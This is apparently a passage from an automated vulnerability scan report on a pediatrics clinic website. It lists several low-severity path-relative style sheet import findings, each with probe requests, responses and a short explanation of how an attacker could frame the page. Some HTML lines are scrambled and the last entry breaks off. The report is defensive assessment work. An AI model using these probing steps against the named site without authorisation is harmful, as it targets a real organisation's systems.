<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /physicians.php/ydfnyr/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=vk007hsi0a82l7dhump0mfu0i2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/physicians.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:34:51 GMT
 Connection: close

 Content-Length: 8676
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.27. http://www.yourwebsite.com/privacy.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /privacy.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /privacy.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1mr5t7hf1dod5dffpmfkq3jot6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:18:37 GMT
 Connection: close

 Content-Length: 11773
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /privacy.php/kurayr/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1mr5t7hf1dod5dffpmfkq3jot6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:19:33 GMT
 Connection: close

 Content-Length: 11773
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /privacy.php/kurayr/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=1mr5t7hf1dod5dffpmfkq3jot6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:19:37 GMT
 Connection: close

 Content-Length: 11773
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.28. http://www.yourwebsite.com/safety-information.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /safety-information.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /safety-information.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ukkveg2ik3hoohmfjoudtl2do2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:31:00 GMT
 Connection: close

 Content-Length: 8289
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /safety-information.php/bqpyjp/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ukkveg2ik3hoohmfjoudtl2do2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:31:48 GMT
 Connection: close

 Content-Length: 8289
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /safety-information.php/bqpyjp/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=ukkveg2ik3hoohmfjoudtl2do2
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:31:51 GMT
 Connection: close

 Content-Length: 8289
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.29. http://www.yourwebsite.com/sitemap.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /sitemap.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /sitemap.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=hrh88n6e4q38n2lalmbn7gi491
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:19:48 GMT
 Connection: close

 Content-Length: 9219
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /sitemap.php/e1uwuv/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=hrh88n6e4q38n2lalmbn7gi491
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:24:01 GMT
 Connection: close

 Content-Length: 9219
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /sitemap.php/e1uwuv/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=hrh88n6e4q38n2lalmbn7gi491
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:24:01 GMT
 Connection: close

 Content-Length: 9219
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.30. http://www.yourwebsite.com/social-media.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /social-media.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /social-media.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=n1itve91s5alaip7jt7n0leps3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/social-media.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:33:58 GMT
 Connection: close

 Content-Length: 8866
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /social-media.php/vprwj2/?ismobile=mobile HTTP/1.1
Host: www.cumberlandpediatrics.com
Cookie: PHPSESSID=n1itve91s5alaip7jt7n0leps3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Upgrade-Insecure-Requests: 1
Referer: http://www.yourwebsite.com/social-media.php
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 0

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:38:14 GMT
 Connection: close

 Content-Length: 8866
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /social-media.php/vprwj2/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=n1itve91s5alaip7jt7n0leps3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/social-media.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:38:14 GMT
 Connection: close

 Content-Length: 8866
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.31. http://www.yourwebsite.com/teen-center.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /teen-center.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /teen-center.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=7pljk7hkc95unq231a79d79ni6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:09:35 GMT
 Connection: close

 Content-Length: 19408
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /teen-center.php/dhitcy/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=7pljk7hkc95unq231a79d79ni6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:17 GMT
 Connection: close

 Content-Length: 19408
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /teen-center.php/dhitcy/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=7pljk7hkc95unq231a79d79ni6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:10:18 GMT
 Connection: close

 Content-Length: 19408
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.32. http://www.yourwebsite.com/thank-you.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /thank-you.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

